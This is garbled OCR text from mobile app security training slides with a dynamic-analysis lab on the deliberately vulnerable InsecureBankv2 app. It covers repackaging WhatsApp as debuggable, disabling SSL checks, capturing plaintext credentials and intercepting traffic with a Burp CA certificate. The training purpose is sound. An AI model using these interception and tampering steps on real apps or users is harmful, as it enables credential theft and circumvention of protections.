Such verifications may be made in two different ways:

By reviewing the execution of the application and, thus, checking the moment when
information is stored in the application.

By conducting a forensic analysis of the application once it has been executing for a
long time.
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¢4$ |nsecure Storage Mechanisms

Analysis During the Execution of the Application

= During the execution of the application, it is possible to monitor points in which
files are created through the use of breakpoints.

Points in which breakpoints may be located can be identified with a static analysis.

= Once all the points have been located, it is necessary to interact with the
application for it to start creating the different files.

= Every time that a monitored file is going to be created, the application will stop
and it will be possible to conduct an analysis of the different variables existing in
the memory in order to identify whether the information is being stored encrypted
or it is not.

= |f the information is stored encrypted, it is possible that, depending on the library
used, the password is stored in an accessible variable.
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¢4$ |nsecure Storage Mechanisms

Forensic Analysis

It implies reviewing all the files created by the application after using it (it will be
covered more deeply in Unit 4).

Directories existing in the sandbox of the application should be inspected, as well
as directories of the external storage, in case there is any.

It is possible to conduct a search on the most common extensions: “Db”, “plist”,
llanos, etc. The corresponding viewer should be used in order to inspect the
content of each file.

If any of them is encrypted, it is necessary to find the location of the code in
which the file is created via static analysis.

If the encryption key is included in the code of the application itself, it is obtained
during the analysis. If the encryption operation does not depend on secure
libraries of the system, but on a personal one, the key used can be also
accessed via the debugging of the application.
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+4$ Components of the Application Exposed

Introduction

= According to the operative system, the static analysis of the application may
have identified possible components of the application that are exposed to other
applications.

= The exposition of components may create two main threats:

Denial of service: the component stop providing the service that it should to the
legitimate application.

— In the case of a messaging system, it is not possible to establish connection with the service.
Access to unauthorised resources: the component provides information or resources
that should not be accessible to some applications.

— Access to Content Providers, microphone or other resources without requesting the corresponding
permission.
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+4$ Components of the Application Exposed

Verification and Exploitation

= In order to check the security of such components, it is possible to use various

techniques:
Use the static analysis to discover the parameters received by the component and how
they are handled.
Create calls to the application to attempt to access the protected service.

Develop an application that calls the component with the parameters obtained in the static
analysis.

Use the development tools to create fictitious calls to the service and check the results
obtained.

= There are already developed applications aimed at trying different entry
combinations (fuzzing) to provoke a denial of service or access exposed results.

An example for Android (SecureMe)

|
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++$ Validation of Input Data

Security in the Back End

As mentioned in the first unit of the course, problems in the server side are the
first vulnerability in prevalence for mobile applications.

An application, just like a web browser, make requests to the back end to access
the service.

If the server has vulnerabilities (SQL injection, LDAP injection, XSS, etc.), clients’
data may be compromised.

A penetration test and a security analysis of the back end’s security are often
performed for the verification.

The mobile application may be used for the verification of such problems, since it
Is designed to make valid request to the back end.

It is possible to modify requests made to the server in order to check its security
by using a proxy. In case the connection is made via SSL, it is possible to modify
the binary in order to deactivate the client’s verification and to modify the content
of sent packets.
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++$ Validation of Input Data

Security on the Client

= The same as in the back end, client applications should not rely on what they
receive from any information entry point.

= Even if the sandbox in which the application is stored may limit the scope of the
attack, if it is not validated properly, it may lead to:

Loss of integrity of the data bases of the application.

Access to unauthorised data, including the information that may be located in the back
end.

Execution of unauthorised tasks.

= An essential different aspect of mobile applications against web servers is that
the attack surface in the mobile application is greater, since it is totally exposed
to the possible attacker.

= Therefore, it is necessary to take into consideration all the channels used for
information to access an application.
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++$ Validation of Input Data

Input Channels

= The following channels should be taken into account in a mobile application:

Files: the information stored in them could be used to create requests that are sent to
the back end later.

User’s interface: since problems are similar to the ones that may occur in the web
service, they should be handled similarly, taking into consideration the existence of two
databases (local and remote). The information introduced in such fields, is often used
to:

o Make insertions in the local database file.
o Conduct searches in the local database file.

o Make network requests to the back end for it to perform the last two actions but on remote
data.
Network Connections: they are used to identify vulnerabilities in the back end. Just
like the server does not rely on applications, the application should validate data
received from the server.
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++$ Validation of Input Data

Attack Techniques

= Techniques of input validation:
Manual verification: mainly used for some elements of the interface.

Fuzzing (automatic creation of malicious inputs):
o Itis not trivial to perform it for some elements as interface fields.
o For network inputs:
— By using a proxy (incoming and outgoing messages).
o For the interface and components of the application:

— Injection of libraries with API calls fuzzers.
— Calls to components of the application from other applications.

= |tis essential to use the information obtained (input points detected) during the
process of static analysis for both techniques.
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++$ Modification of the Application

Introduction

= During the dynamic analysis, it may be useful to execute a modified version of
the application.
In order to analyse traffic and issues in the back end, deactivate SSL pinning.

Verify the existence of data validation on the client’s side. Identify points on which the
application validates data instead of the server.

o Example: validation of some types of passwords or control for access to paid content.

Monitor some calls to Android’s API or to a library used by the application in order to
control when some sensitive APIs are being used.
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++$ Modification of the Application

Techniques

= There are two types of techniques that
allow users to modify the application’s

execution flow. m

Modification of the APK file: Unpacking
o Unpacking of the application.

o The desired source code or resources
files of the application may be added,
removed or modified:

— Deactivate SSL verification.

— Deactivate blocking existing for the

payment functionality.
— Remove advertisement libraries. Packing
o Repack the application. v
o Sign the application. Signature
o Install the application on the device l

and execute it.

App
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++$ Modification of the Application

Techniques

= Use of a debugger

First, the application has to be repacked with the debugging option activated.
Breakpoints are defined and the application may be executed on the device directly by
using a debugger such as JDB, IDA Pro, Hopper, etc.

o If the source code is not available, it may be necessary to use a jailboroken or rooted device.
During the execution of the application, it is possible to add code or modify the value of
variable as well as the flow.

o It allows the user to perform the following tasks selectively:

— Deactivate SSL verification.
— Deactivate blocking existing for the payment functionality.

— Remove advertisement libraries.
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+4$ Dynamic Analysis Laboratories

Introduction

In this section of the unit, two laboratories will be carried out in order to
practically display all the information that may be obtained through the static
analysis of applications.

The analysis will be conducted on the vulnerable applications (Android and iOS)
that were analysed during the static analysis laboratories.

In this case, it will be possible to verify the existence of potential problems
identified during the static analysis of applications.

The dynamic analysis conducted in this section is not a definitive analysis, since
it should be complemented with a static analysis of applications and a forensic
analysis of the elements created by them.

Procedures and practices used to mitigate issues found within the laboratories
are reviewed in unit 5: “Secure development of mobile applications”.
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+4$ Dynamic Analysis Laboratories

Procedure

= The procedure to follow for each application is described below:
Preparation of the binary file.

Verification of network connections:
o Transmission of non-encrypted data.
o Man-in-the-middle attack.
o Verification of SSL connection.

Checking of the security of data storage.

Exploitation of vulnerable components (input validation).
Modification of the application’s behaviour.

Revision of the application’s logs.

= Once the analysis is finished, a report including a summary of the results
obtained will be presented.
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+4$ Dynamic Analysis Laboratories

Tasks

The analysis process described in the last slide is organised into tasks.
Tasks are part of a work that students should carry out on their own.

In order to motivate learning, tasks are divided into two essential parts:

Motivation and description of the tasks to perform, including the type of results
expected.

Preparation of the environment for the performance of the task.
Procedure to carry out the task and expected results.
Both parts are described in different slides.

This is intended for students to try to perform the task with no access to the
procedure.

Students will be able to use the previously described procedure in order to check
the solution and to solve possible doubts regarding the topic.
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_¢+© Dynamic Analysis of a Vulnerable Android Application

Introduction

 In this laboratory, the application “Insecure Bank v2” will be analysed.
* In this case, a dynamic analysis of the application will be conducted.
* The structure of the laboratory has been divided into the following
sections:

Initial preparation of the device or emulator.

Preparation of applications for the dynamic analysis.

Initial preparation of the environment.

Analysis.

Conclusions of the analysis.

NOTE: PLEASE, PERFORM ALL THE TASK ON A DEVICE THAT DOES
NOT INCLUDE PERSONAL DATA OR APPLICATIONS, SINCE THEIR
INTEGRITY AND CONFIDENTIALITY MAY BE COMPROMISED.
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++$ Dynamic Analysis of an Android Application

Preparation of the Environment - Emulator

= Before executing applications, it is necessary to prepare a device or emulator for
them to be executed.

= There are multiple options to execute applications. Two of them will be covered
in this laboratory:

Emulator
o In order to create an emulator, it is necessary to open the “Android Device Manager”,
accessible from Android Studio or Android’s SDK manager.

o In the Santoku console or in Android’s sdk directory in case we are using our computer.

Android SDK Manager
Packages /
Manage AVDs...

> android

SDK Path:
Packages Manage Add-on Sites...
' Name  Options... APl Rev. Sk
- []1To About..
[J .+ Android SDK Tools 2441 %
O+ Android SDK Platform-tools 23.0.1 l_i
[+ Android SDK Build-tools :23.0.2.

P oo ow i

M & s dotdemmer me 2l d oo o
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++$ Dynamic Analysis of an Android Application

Preparation of the Environment - Emulator

= |nthe ADV, select “Create” and fill the options just like it is illustrated in the image
below (also specify a 200 MiB SD card).

f Edit Android Virtual Device (AVD) - + X
AVD Name: [restDevice |
Device: | Nexus 4 (4.7", 768 x 1280: xhdpi) =
Target: | Android 4.3.1- APl Level 18 =
CPU/ABI: | ARM (armeabi-v7a) =
Keyboard: @ Hardware keyboard present

skin: | No skin =
Front Camera: [None s ]
Back Camera: | None =
Memory Options: RAM: VM Heap:

- [JC2 Android 4.3.1 (API 18)
[ ' SDK Platform 18 3 i@ Installed
O L samples for SDK 18 1 [l Notinstalled
[I# ARM EABI v7a System Image 18 3 [ Installed
[] E® Intel x86 Atom System Image 18 2 7 Installed
15" Google APIs 18 4 i[] Notinstalled

= |f the target does not appear in any option, it is necessary to access SDK
manager again and install the corresponding image.
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_¢¢> Dynamic Analysis of an Android Application

Preparation of the Environment - Emulator

= Once created, it is only necessary to click “execute” and the emulator will run.

5554:TestDevice — + X
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++$ Dynamic Analysis of an Android Application

Preparation of the Environment - Device

If you have a physical device, it is
possible to execute applications that
have been modified or developed by
ourselves, but it is necessary to
activate the debug mode first.

Versions from 4.2: Settings -> After
some taps on “Build number”, The
development menu is executed and
the USB debugging option should be
activated.

(* Acerca del teléfono

Software update

Status

Legal information

Model number
Android version
Baseband version
M WOODDLRY

Kernel version

3 15-N7000DDLR6-CLY68032

SMP PREEMPT Fri Ju

Build number
MM76D.DDLRE

£
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++$ Dynamic Analysis of an Android Application

Preparation of the Environment - Device

S AOE=N
( * Opciones de desarrollo

= Development options should be
activated in the settings menu.

Take bug report )
= (Go back and access options to

S?i:i?zihflitl:)p gfrwsts(:\fl(?:?t!y protected aCtlva‘te U S B d ebugg I ng -
Stay awake 7 = Connect the device to the
Screen will never sleep while charging .

' 2 workstation through the USB.
Select runtime
Use Dalvik = |f the device asks whether the user
e wants to rely on the connected
e device, select accept.
Process Stats .
Geeky stats about running processes u If |t does not’ use the ConSOIe tO
DEERS search the device.
E)JGSI)LBKJ(iiiz%v?wglgUSB is connected > a db deVl CeSs

£©=— 7
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_¢¢> Dynamic Analysis of an Android Application

Preparation of the Environment - Application

= Some tasks performed in the dynamic analysis require the application to be
configured in order to enable backups and the debug process.

= |f the application is configured properly, it will not be possible to carry out such
actions; therefore, it is necessary to modify the application.

= The application Insecure Bank InsecureBankv2 will not be used for this task,
since it is vulnerable. Instead, Whatsapp (that can be downloaded from
http://www.whatsapp.com) will be used.

Task
Create a debuggable Whatsapp apk file that enables backups.

Expected result
Whatsapp application in apk format that can be executed in a device and
with the possibility of debugging and carrying out backups.
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++$ Dynamic Analysis of an Android Application

Preparation of the Environment - Application

Solution

* First, download Whatsapp from the official website.

ownload for iPhone from iTunes App g#fre

Simple. Personal.
Real Time Messaging.

" Download WhatsApp

iPhone Android

O O |O

ownload for Android from our sit

ownload for BlackBerry from our site

sincibe_
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++$ Dynamic Analysis of an Android Application

Preparation of the Environment - Application

Solution

Once the apk file is downloaded, install it on the emulator or a device

connected via USB.
> adb install WhatsApp.apk

Check if it is possible to access from the application’s shell.
> adb shell

Open a console from the telephone and try to open a console from there
with the yas

santoku@santoku-VirtualBox:~/Downloads$ adb shell
root@generlic:/ # run-as com.whatsapp
com.whatsapp' is not debuggable

An error message explaining that it is not possible to debug the
application will be displayed.
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++$ Dynamic Analysis of an Android Application

Preparation of the Environment - Application

Solution

Modify the apk file to activate the debugging.

Use apktool to unpack the file.
> apktool d WhatsApp.apk

Access the AndroidManifest.xml file of the root, modify the backup option,

and add the debug one..

e ] REABEXT
appllcatlon andrmd allowBackup— true andrmd debuggablel: true and

<uses-library andreoid:name="com.google.android.maps" android:requii
=uses-library android:name="com.sec.android.app.multiwindow" andro
=<meta-data android:name="com.google.android.gms.car.application" a
=meta-data android:name="com.google.android.maps.v2Z.API_KEY" and

emata-dara andrnid-namea-"rnm annnle andraid ame varcinn” andraid-

Save the file and repack the application.

T
L
T
C
s T

wnloads$ apktool b Wh:

as changed. ..
s has changed...
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++$ Dynamic Analysis of an Android Application

Preparation of the Environment - Application

Solution
«  When attempting to install the application it fails because it is not signed.
« To do this, itis necessary to create a keystore first.

1|T F l 1|T FJ Vir TJ11E -/Downloads$ keytool -genkey -v

eysize .-f 048 -va 1_ idit y 10000

Curso.keystore Is the file, and curso, the alias of the keystore.
Select the password to encrypt the keystore and the alias.
- Sign the application with the keystore.

Si 111 g SHAlwithRSA -

- Using old passwords, the apk file signed is obtained.
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++$ Dynamic Analysis of an Android Application

Preparation of the Environment - Application

Solution
« |nstall it.

santoku@santoku-VirtualBox:~/Downloads$ adb install whatsapp debug.apk

287 KB/s (27775845 bytes in 94.496s)

santoku-vVirtualBox:~/Downloads$ adb shell
neric:/ # run-as com.whatsapp

- The same way that the elements of the application’s manifest have
been modified, it is also possible to modify assets, resources,
strings, and even the application’s mali code.
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_¢¢> Dynamic Analysis of an Android Application

Preparation of the Environment - Server

* Insecure Bank InsecureBankv2 is an example of a fictitious banking
application.

* For the application to work, it connects to a server that exemplifies the
activity of the “Insecure Bank”.

* In order to perform some of the tasks required in this analysis, it is
necessary that the whole infrastructure of the bank is working. To this end
iIn Santoku:

Install the python easy _install application:
> sudo apt-get install python-setuptools

Install the python libraries necessary:
> sudo easy install flask flask-sglalchemy simplejson cherrypy

Browse the back end directory (downloaded in the static analysis) and execute
the server:

> cd AndrolabServer

> python app.py
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_¢¢> Dynamic Analysis of an Android Application

Preparation of the Environment - Client

Once the server is executing, it is
possible to install the client.

To this end, browse to the directory in
which the GitHub’s repository has
been downloaded and execute:

> adb install InsecureBankv2.apk

Once installed, it is possible to verify
that the application is stored in the
device by accessing the application’s
menu and executing it.

In order to configure the server, select
the “options™ menu and then,
“preferences’.

CutrtAOE2N

InsecureBankv2

o

ﬂ \

Autofill Credentials

S Security
Innovation-

THE APPLICATION SECURITY COMPANY
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_¢¢> Dynamic Analysis of an Android Application

Preparation of the Environment - Client

Cao=+t Nl { <4 20733

= To discover the IP address in
which the server is listening, it is
necessary to access a console in

== FjlePref

Server |- 192.168.0.63 the machine executing the server
and run the ifconfig command.

Server Port: ssss

inets. addr - TEROTrEIE 2711 165 cdce
m = Use the IP obtained to configure
the InsecureBank’s client.

= Use the following credentials to
verify that everything is working
properly:
User: jack
Password: Jack@123%
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_¢¢> Dynamic Analysis of an Android Application

Preparation of the Environment - Client

= The following image should be displayed:

Cracocs

== Postlogin

Transfer

View Statement

Change Password

Device not Rooted!!
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++$ Dynamic Analysis of an Android Application

Connections

= The following elements will be reviewed
in this section:

Transmission of non-encrypted data.

Vulnerability to Man-in-the-middle
attacks.

Verification of SSL connection.

= The environment required for each of the
revision is lightly different:

In the case of traffic inspection, it is only
necessary to capture the traffic created
by the application. However, in the rest of
cases, it is necessary to perform different
actions.

In the rest of cases, it will be necessary to
capture the traffic created by the device
or modify the application to remove
verifications on the SSL application.
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_¢¢> Dynamic Analysis of an Android Application

Analysis of Data Transmission

Depending on the architecture used, the capture of traffic may be carried out in
multiple ways.

In this analysis, students will use the most simple one: the emulator.

In this case, all the traffic created will move between the emulator and the python
back end, without leaving the analysis machine.

This way, in order to conduct the analysis it will be possible to use the Wireshark
application (used in Santoku) or a Proxy.

In case the application is executed on a physical device, due to the fact that the
back end is being executed in a machine to which we all have access, it is also
enough to use Wireshark to capture all the traffic between the application and the
back end.

In order to avoid problems related to issues of configuration, select “listen on all
the interfaces” in both programs.
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_¢¢> Dynamic Analysis of an Android Application

Transmission of non-Encrypted Data

= Once Wireshark is being executed and capturing network traffic created on the
device, check the type of data transmission carried out.

Task
Verify that connections of the application to the back end are made non-
encrypted with HTTP, as explained in the static analysis.

Expected result

A list including network connections made by the application that are carried
out non-encrypted through HTTP, together with an analysis of data sent
through such connections.
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++$ Dynamic Analysis of an Android Application

Transmission of non-Encrypted Data

Solution

 Interact with the application using data from older activities and observe
packets captured by Whireshark.

- To reduce the information to be analysed, apply a filter for HTTP
connections to be the only ones displayed.

= Capturing from etho [Wireshark 1.10.6 (v1.10.6 from master-1.10)] - + x
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
e @ m & c xc Q< >V Ay EHE 0600 BF W@ s 2
Filter: ‘hl:l:p ~ | Expression... Clear Apply Save
No. Time Source Destination Protocol Lengtl Info
34 23.86794900€ 192.168.0.7 192.168.0.63 HTTP 298 POST /login HTTP/1.1 (application/x-www-form-urlencoded
37 23.87085300€ 192.168.0.63 192.168.0.7 HTTP 111 HTTP/1.1 2600 OK (text/html)
62 46.15983900€ 192.168.0.63 192.168.86.7 HTTP 116 HTTP/1.1 26060 OK (text/html)
116 93.983175608€ 192.168.6.5 239.255.255.250 S5DP 169 M-SEARCH * HTTP/1.1

O Ll LR S R O S meE Amm e A a s me s B T S R VEN U R

w i
pTransmission Control Protocol, Src Port: 56823 (56823), Dst Port: ddi-tcp-1 (8888), Seq: 1, Ack: 1, Len: 232
wHypertext Transfer Protocol
»POST /login HTTP/1.1\r\n
p Content-Length: 36\r\n

Content-Type: application/x-www-form-urlencoded\ri\n

Host: 192.168.8.63:8888\r\n

Connection: Keep-Alive\r\n

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)\r\n

wrin

[Full request URI: http://192.168.8.63:8888/login]

[HTTP request 1/1]

Responcc Si irdme: bl
wline-based text data: application/x-ww.-form-urlencoded

username=jack&password=Jack%40123%24

9900 08 88 27 65 cd cc 80 6c 1b 59 3c 9 J8 BE 45 6O 0o 0EBoo ol oliade oolEe
0pi2 81 1c 36 d5 40 00 40 @6 81 70 c® ug 80 87 cf a8 ..6.a.@. .p......
Ann LOnnF Ad F£T7T Y RO N0 3 ne . AT ,a ED A0 o0 10 ] " - =]
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++$ Dynamic Analysis of an Android Application

Transmission of non-Encrypted Data

Solution

Check that packets captured, apart from being sent non-encrypted,
iInclude sensitive information such as user and password.

The rest of connections created while interacting with the application,
follow the same pattern as the one shown below.

o Capturing from etho [Wireshark 1.10.6 (v1.10.6 from master-1.10)] - 4+ x
File Edit View Go Capture Analyze Skatistics Telephony Tools Internals Help
, ) — == Zmm
® @ [_1e a < Y Ay BHE o000 F b 2
Filter: | http » | Expression... Clear Apply Save
No. Time Source Destination Protoceol Lengtt Info
34 23.86794906€ 192.168.0.7 192.168.0.63 HTTP 298 POST /login HTTP/1.1 (application/x-www-form-urlencoded
37 23.87085300€ 192.168.0.63 192.1668.0.7 HTTP 111 HTTP/1.1 200 OK (text/html)
62 46.15983900€ 192.168.0.63 192.168.0.7 HTTP 116 HTTP/1.1 200 OK (text/html)
11@ 93.90317500€ 192.168.0.5 239.255.255.250 SSDP 169 M-SEARCH * HTTP/1.1

L R R R R L TR e R T L L a e S Bt AE s AUU e § s AT e

“ re
»Transmission Control Protocol, Src Port: 56823 (56823), Dst Port: ddi-tcp-1 (8888), Seq: 1, Ack: 1, Len: 232
wHypertext Transfer Protocol
»POST /login HTTP/1.1\r\n
» Content-Length: 36%\r\n
Content-Type: application/x-www-form-urlencodediyrin
Host: 192.168.0.63:8888%\r\n
Connection: Keep-Alive\r\n
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)\r\n
Yriyn
[Full request URI: http://192.168.0.63:8888/1ogin]
[HTTP request 1/1]
[Response i Tidme: o)
wlLinc-based text data: application/x-www- form-urlencoded
username=jack&password=Jack%40123%24

Jpee ©8 08 27 65 cd cc 80 6c 1b 59 3c f9 82 00 45 @0 oo Booolt o oolEe
0017 01 1lc 36 d5 40 00 40 66 81 70 c a® Jo 87 cO a8 ceBe@iEspeLs.
AoAn Gre3F Ad £7 97 RO N0 3. 0O A3.70 ,a B3 Ao oo 10 2w o
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution

* Another solution to analyse the traffic created by the application to study
IS USing a proxy sever.

* In this case, apart from inspecting traffic, it is also possible to modify the
parameters sent to the server and, depending on the proxy server
capabilities, inspect the content of SSL connections.

» During this part of the task, the following steps will be followed:
Configure the proxy for the traffic capture and interception.
Configure the emulator:

» To send all the traffic via proxy.

» For SSL connections to be inspected by using the emulator.
To intercept a connection to the server’s back end.
To intercept an SSL connection to google.com made through the
browser (the InsecureBank application does not use SSL).
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution
Proxy configuration
 In this task, the application Burp Suite Free Edition, included in Santoku,

will be used.
' i Development Tools ’ urp Suite
K Sound & Video * @ Device Forensics | @ Ettercap
Q system Tools - © hmap
£+ Preferences , [ Reverse Engineering v ¥ SSLSkrip
@ Wireless Analyzers v % w3af (Console)
Run @ Help ¥ w3af (GUI) I
2 Logout @ Tutorials ) ZAP

“mm@[zjﬁ I- f9Android ... Zenmap (as root)

* Once opened, select Proxy and Options tab.

rget | P romy T Spider T Scanner T Intruder T Repeater T Sequen

arcept T HTTP histary T WebSockets history T Options |

N | SSMRRURRR [ N S ——
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution

In Proxy Listeners, select Edit in the first one and activate the option of

listening in all the interfaces. This way, it is also possible to analyse real
devices if the interface of the virtual machine is configured in “Bridged”

mode.

Edit proxy listener - + x
Edit Binding T Request handling T Certificate ]
L REmEsE J LEJ These settings control how Burp binds the proxy listener.
Bind to port: 8080

Bind to addrez=ff (U Loopback only
T @® All interfaces

Each installation

for use in other t
[W] Specigic address: | 127.0.0.1 .v]
CA certificate .

Intercept Clie|
Use these setting

[ Intercept requ

[ add | [En
Edit oK Cancel
| Remove | ] And URL s in target scope I3
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution
* Then, on the “Request handling” tab, activate the “Support invisible proxying”
option.

E Edit proxy listener

Bindingl Request handling I:ertificate]

LEJ These settings cantral whether Burp redirects requests received by this listener.

Redirect to host:

Redirect to port:

[] Force use of S5L

Invisible proxy support allows non-proxy-aware clients to connect directly to the listener.

& Suppn} invisible proxving (enable only if needed)

« Click “OK” to accept changes.
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution

« Select CA certificate below.

« Extract the certificate from the CA for Android to accept certificates
signed by Burp and thus it is possible to inspect SSL connections.

Target T Pro=y T Spider T Scanner T Intruder T Repeater T Sequencer T

InterceptT HTTP history TWEbSnckets histary T{thinns

@ Proxy Listeners

L_J Burp Proxy uses listeners to receive incoming HTTP requests from y
server.

—

Add J Running | Interface | Invisible | Redirect

[} 127.0.0.1:8080 O
Edit
Remowve

Each installation of Burp generates its own CA certificate that Prasxoy |
for use in other tools or another installation of Burp.

| CAcertificate .. |
[ ]
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution
* |In the window that pops up, select “Certificate in DER format”:

E CA Certificate -+ x

@ You can export yvour certificate and key for use in other toals, or in another
i ation of Burp. You can import a certificate and key to use in this
installation of Burp. Note that you can also export the current certificate by

visiting http:/fburp/cert in your browser.

.
(® Certificate in DER format

() Certificate and private key in PKCS#12 keystore

Import
() Certificate and private key in DER format
() Certificate and private key from PKCS#12 keystore

Cancel Next

* And save the result in a file with “cdr” extension. Android does not detect
certificates with “der” extension:

File Name: |(er‘tifi(ado.(r‘t

Files of Type: lAII Files

|E

o

w

E]

o ]
!
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution
» First, the proxy will only intercept incoming requests to modify with
certain conditions. Add two new rules:
First, click Add on “Intercept Client Requests” and add a rule
including the following data:

Intercept Client Requests

Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

Intercept rdquests based on the following rules:
Enabled | Operator | Match type | Relationship | Condition
O File extension Does not match (™ qif§| “jpa$| ~pnaf| “css§| “isg)...
l Edit J [ Or Request Contains parameters
or Hﬁﬁ method Eoes not match lget|post)
l Remowve J O And LRL Is in target scope [ 3
w AT m GGGGGGG i e A L | LY L o |
v |
[ Down J

* Follow the same process with the following rule:

e} ar Damain name Matches | google.com

‘ 1< ur Uamaln name Matcnes ¥ Lha U bl
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_¢¢> Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution
Configuration of the emulator

First of all it is necessary to install the certificate created in the emulator
for the certificates created by Burp to be accepted.
To do this and with the emulator running, execute the following command
from the path in which the certificate has been stored.

> adb pushcertificado.cdr /sdcard/
Remember that the emulator should have USB storage configured. If it is
not configured, you should turn it off, edit it (with AVYD Manager) and
restart it.
On a phisical device, it is possible to copy the file directly from the files
browser in the SD card. Take into consideration that adb has no
permissions to write on the SD card oin physical devices.
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution
« Switch to the emulator.
* Move to the system’s settings.
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution

* |In settings, browse to “Security”.

PERSONAL

@ Location access

* There, select “Install from SD card”.

Trusted credentials
Display trusted CA certificates

Install from SD card

InsTatrcesifeates-rermS0 card
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_¢¢> Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle
Solution

* The following dialog window will pop up:

Name the certificate

Certificate name:

certificado

Credential use:

VPN and apps

The pacrageTontains;
one CA certificate

Cancel

- Make sure that credentials will be used in VNP and applications, and
select “Ok”.
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution

« Then, configure the emulator’s proxy so that all the traffic is redirected through the
proxy that we have configured.
- To do this, it is necessary to close the emulator and open it again by using the

following console command.
gsantoku-VirtualBox:~% emulator @TestDevice -http-proxy localhost:8088 -c

- Parameters:
TestDevice is the name of the device in AVD Manager.
~-http-proxy indicates that the network connection of the emulator will
redirect the http traffic to a proxy server.
localhost:8080 indicates the address and the port in which the proxy is
listening (if it is in the same machine, it is possible to write localhost).
debug-proxy indicates that packets sent by the proxy are printed out
through the standard exit (console).
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_¢¢> Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution
Intercept connection to Insecure Bank

Being the proxy running and configured, and the emulator executing with
the options mentioned, it is possible to capture and modify requests
made to the back end of the application.
Open the application Insecure Bank again:
Make sure that the server is on.
Review in preferences of the application that the server IP
corresponds to the machine in which it is installed.
Try to login with the user’s data. If you have not changed them:
User: jack
Password: Jack@123%
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution

Intercept connection to Insecure Bank

*  When you click Login, the “Intercept’tab in Proxy will be highlighted and
will show the HTTP request for login.

« Apart from confirming that the connection is not encrypted, it is possible
to modify the content of the request.

* Modify the password and click on “Forward”.

_[ I|'.tn:—|'n:n:—|:tT HTTP histary TWEbSnckets histarny T Options 1

|ﬂ Request ta http://192.168.0 63: 8888

| Forward J | Drop J [ Intercept is an | | Action

_[ Raw T Params T Headers T Hex ]

POST /Llogin HTTR/1.1

Content-Length: 36

Content-Type: application/x-www-form-urlencoded
Host: 192.168.0.63:8888

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

username=]ack&password=Jack%40455%24

* The client will receive the “incorrect password” response.
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++$ Dynamic Analysis of an Android Application

nencrypted Data Transmitted and Man in the Middle

Solution

 If you want to review the rest of connections made by the emulator, it is
possible to click the “HTTP history” tab.

E Burp Suite Free Edition v1.6 -+ x
Burp Intruder Repeater Window Help

Target | Prowy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | comparer | Extender | options [ Alerts

[ intercept | HTTR history | webSockets history | Options |

‘ Filter: Hiding CSS, image and general binary cantent ‘L"J
# 4|Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension
- - o
20 http:/fstl.idealista.com GET [staticjcommon/release/modules/resources/fonts/berni 4] a 404 4742 HTML svig “
21 hitpistl idealista com GET  static/commonirelease/modulesiresourcesifonts/bermi @ O 404 4742 HTML svg
25 hitpjwww.ideslistacom  GET  fenflogin 0 O 200 13755 HTML
23 hitp:fwww.idealistacom  POST  [fenflogin | @ O 200 14376 HTML
30 hitp:/stlidealista.com GET  [static/commonfrelease/modulesiresourcesfonts/berni.. @ O 404 4635  HTML  tf
31 http:/fstl.idealista.com GET /static/common/release/modules/resources/fonts/berni & a 404 4695 HTML tHf
33 http:/fstl.idealista.com GET /static/common/release/modules/resources/fonts/bemni 4] a 404 4742 HTML svg
34 hitp:jstl idealista com GET  [static/commonyrelease/modules/resources/fonts/bermi @ 0 404 4742 HTML sva
37 htpfwww.ideslistacom  POST  fenflogin register @ 0 200 14502 HTML
35 hitp:ystlidealista com GET  [staticicommonfrelease/modulesiresourcesffonts/berni.. @ O 404 4643 HTML  uf
39 hitp:/stl idealista.com GET  static/commonfrelease/modulesiresourcesffonts/berni.. @ O 404 4643 HTML  tf
42 http:/fstl.idealista.com GET /static/common/release/modules/resources/fonts/berni 4] a 404 4696 HTML swvg
43 hitp:/stl. idealista. com GET Jstatic/commaon/release/modules/resources/fonts/berni @ O 404 4695 HTML svg v
< T

Request | Response
Raw | Params | Headers | Hex

Connection: keep-alive [a
Referer: http://www.1dealista.com/en/login

Content-Length: &6

Cache-Control: max-age=0

Origin: http://www.ldealista.com

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml, application/xml;g=0.9,*/%;q=0.8

X-Requested-With: com.android.browser

User-Agent: Mozilla/5.0 (Linux; U; Android 4.3.1; en-us; sdk Build/JB_MR2) ApplewebKit/534.30 (KHTML, like Gecko)
Version/4.0 Mobile Safari/S34.30

Accept-Encoding: gzip,deflate

Accept-Language: en-US

Accept-Charset: utf-8, isc-8859-1, utf-16, *;q=0.7

Cockile: userUUID=1f963409-e319-4171-b937-cb70blfe2ea3; cookieDirectiveClosed=true; xtvrn=$352991%;
JSESSIONID=SDSDSEG40FCILEASO30458A21222E95C. web9; WEBSERVERID=I | VgdMo| VgdlK; xtidc=160028190202633862;
xtan352591=null-; xtant352991=1

origin=directReglster&emal l=noss|%40aqul . com&pwd=Loves&cookie=true )
L4

2 | (< |+ ][ =] [Tee asearch term 0 matches
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++$ Dynamic Analysis of an Android Application

Unencrypted Data Transmitted and Man in the Middle

Solution
Intercept connection to Insecure Bank

Then, inspect an SSL connection.

Open the browser and write https://www.google.com

While the browser shows the load window, move to proxy and observe
the Intercept tab.

